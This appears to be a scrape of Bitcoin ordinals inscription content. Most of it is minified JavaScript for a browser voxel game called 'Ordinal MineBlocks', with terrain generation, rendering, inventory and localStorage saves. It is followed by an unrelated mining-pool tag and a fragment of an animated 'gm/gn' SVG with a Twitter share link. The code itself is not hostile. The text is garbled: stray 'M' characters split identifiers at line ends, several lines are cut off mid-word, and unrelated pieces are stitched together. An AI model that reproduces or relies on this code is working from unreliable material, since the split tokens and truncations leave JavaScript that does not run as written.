r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
TEGER),window.location.reload()),5>e.renderDistance?e.renderDistance=5:255<e.renderDistance&&(e.renderDistance=255)})})},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){for(var t="",e=m(h()),r=m(window.game.map),n=0;n<r.length;n++){var o=e[n],i=r[n];t+=o===i?"-":i}return t}function i(t){for(var e="",r=t[0],n=1,o=1;o<t.length;o++)t[o]===r?n++:(e+=1==n?r:n+r,r=t[o],n=1);return e+=n+r}Object.defineProperty(e,"__esModule",{value:!0}),e.stringify=void 0;var a=r(5),u=r(2),c=r(M
7),f=n(c),s=r(3),l=n(s),d=r(6),v=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)}),m=e.stringify=function(t){return t.map(function(t){return t.map(function(t){return t.map(function(t){return v[t]||v[0]}).join("")}).join("")}).join("")},h=function(){return window.game._map=window.game._map||f.default.map()};e.default=function(){var t=window,e=t.game;l.default.safeSet("_mct",(0,u.getTime)()),l.default.safeSet("_mci",JSON.stringify(e.hotbar.items));var r=o();console.log("saving mapStr length",r.leM
ngth);var n=i(r),c=d.compress(n);console.log("minified",n.length,n),console.log("compressed",c.length,c),l.default.safeSet("_mcm",c);var f=d.decompress(c);(0,a.unMinify)(f)===r?console.log("success"):console.log("Could not save map internally")}},function(t,e,r){"use strict";function n(t,e,r,n){for(var o=e*r%6+6,i=0;i<o;i++)t[e][r-i][n]=7;for(var a=o;0<a;a-=3)for(var u=-1;2>u;u++)for(var f=-1;2>f;f++)c(f+e,r-a,u+n,8,t,7)}var o=Math.floor,i=r(3),a=function(t){return t&&t.__esModule?t:{default:t}}(i),u=r(0),c=u.setBlM
ock,f=r(8),s=r(15),l=a.default.exits(),d=a.default.safeGet("_mcs");l?!d&&(a.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INTEGER),window.location.reload()):(d=0,document.querySelector(".nosaving").classList.toggle("show"),console.log('no localstorage. Using seed "0". No saving permitted'));var v=s(d),m={1:1,2:1,4:1};t.exports=function(){for(var t=window.game.CONST,e=t.SEA_LEVEL,r=t.MAP_SCALE,i=t.MAP_SIZE,a=f(),u=function(){return Array(i)},c=document.getElementById("loading"),s=u(),l=u(),d=0;d<i;d++){s[d]M
=u(),l[d]=u();for(var h,p=0;p<i;p++){h=v(d/r,p/r,0),h*=10,h+=32,h=o(h),s[d][p]=h;var w=v(d/2,p/2,0);w*=3,w=o(w),l[d][p]=w,window.treeMap=l}}console.log("ran");for(var y=0;y<i;y++)for(var g,M=0;M<i;M++){g=s[y][M],a[y][g][M]=g<=e?1:12;for(var b=g-1;b>e;b--)a[y][b][M]=9;for(var _=g+1;64>_;_++)a[y][_][M]=4;-2>=l[y][M]&&g<e&&n(a,y,g-1,M),34==g&&(a[y][g][M]=13);for(var x=e-5;64>x;x++){if(48<x){var A=v(y/r*4,x/r*2,M/r*4);if(.55<A&&.6>A){var S=a[y][x][M];m[S]&&(a[y][x][M]=10)}}var k=v(y/r*2,x/r*4,M/r*2);if(.35<k&&.8>k){varM
 E=a[y][x][M];m[E]&&(a[y][x][M]=0)}var L=v(y/r*8,x/r*8,M/r*8);if(.2<L&&.8>L){var T=a[y][x][M];m[T]&&(50>x&&.2<L&&.21>L?a[y][x][M]=14:42<x&&50>x&&.55<L&&.6>L?a[y][x][M]=15:48<x&&.7<L&&(a[y][x][M]=16))}if(61<x)if(63==x)a[y][x][M]=11;else{var C=v(y/r*64,x/r*64,M/r*64);.1<C&&(a[y][x][M]=11)}}}return c.hidden=!0,a}},function(t,e,r){"use strict";function n(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}function o(t){if(Array.isArray(t)){for(var e=0,r=Array(t.length);e<t.length;e++)r[e]M
=t[e];return r}return Array.from(t)}var i=function(){function t(t,e){for(var r,n=0;n<e.length;n++)r=e[n],r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(t,r.key,r)}return function(e,r,n){return r&&t(e.prototype,r),n&&t(e,n),e}}(),a=r(16),u=function(t){return t&&t.__esModule?t:{default:t}}(a);t.exports=function(){for(var t,e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:1,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:Array(512),a=-1,c=Math.floor,M
f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
c/Foundry USA Pool #dropgold/
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 600 600">
  window.addEventListener("load", () => {
    var sn = document.querySelector('.sn');
    document.querySelector('.gmbtcio').classList.add('hideGMBTC');
    var td = new Date(); var ch = td.getHours()
    if (ch >= 5 && ch <= 18) {
      sn.classList.add('sngm')
      sn.classList.add('cl')
      sn.addEventListener("click", () => window.open(`https://twitter.com/intent/tweet?text=${encodeURI('gm from 004 to bM
itcoin ordinals fam! sending good vibes via the first dynamic ordinals @gmbtcio')}&hashtags=gmbtc`, '_blank'))
      var moon = document.querySelector('.moon')
      moon.setAttribute('fill-opacity', 1)
      moon.classList.add('moongn')
      var str = document.querySelector('.str')
      str.setAttribute('fill-opacity', 1)
      str.classList.add('stgn')
      var fd = document.querySelector('.f');
      fd.classList.add('m0GN')
      var bd = document.querySelector('.b');
lassList.add('bgGN')
      document.querySelector('.m1').setAttribute('fill', '#395498')
      document.querySelector('.m2').setAttribute('fill', '#3A39AE')
      document.querySelector('.m3').setAttribute('fill', '#605FD3')
      document.querySelector('.m4').setAttribute('fill', '#8888DE')
      sn.classList.add('sngn')
    .cl { cursor: pointer; }
    path, circle {transition: 5s ease;}
    stop {transition: 4s ease;}
    .bgGN stop:nth-child(1) {stop-color: M
    .bgGN stop:nth-child(2) {stop-color: #BD9FFF;}
    .m0GN stop:nth-child(1) {stop-color: #2E3571;}
    .m0GN stop:nth-child(2) {stop-color: #010B16;}
    @keyframes hideGMBTC { from {opacity: 1;} to { opacity: 0;} }
    @keyframes sngm {from {opacity: 0;transform: translateY(180px);}to {opacity: 1;transform: translateY(0);}}
    @keyframes sngn {from { opacity: 1;transform: translateY(180px);}to {transform: translateY(-180px);opacity: 0;}}
    .sngm { animation: sngm 1s linear forwards; }
ngn { animation: sngn 1s linear forwards; }
    .moongn { animation: sngm 1s linear forwards; animation-delay: 0.5s;}
    .stgn { animation: sngm 1s linear forwards; animation-delay: 1s;}
    .hideGMBTC { animation: hideGMBTC 0.4s linear forwards;}
    .str, .moon { transform: translateY(180px); }
    <path fill="#FDEEEE" d="M0 0h600v600H0z"/>
    <path fill="#000" d="M32.508 575.5c-2.7 0-4.767-.767-6.2-2.3-1.433-1.533-2.15-3.7-2.15-6.5v-18.4c0-2.8.716-4.967 2.15-6.5 1.433-1.533 3.5-2.M
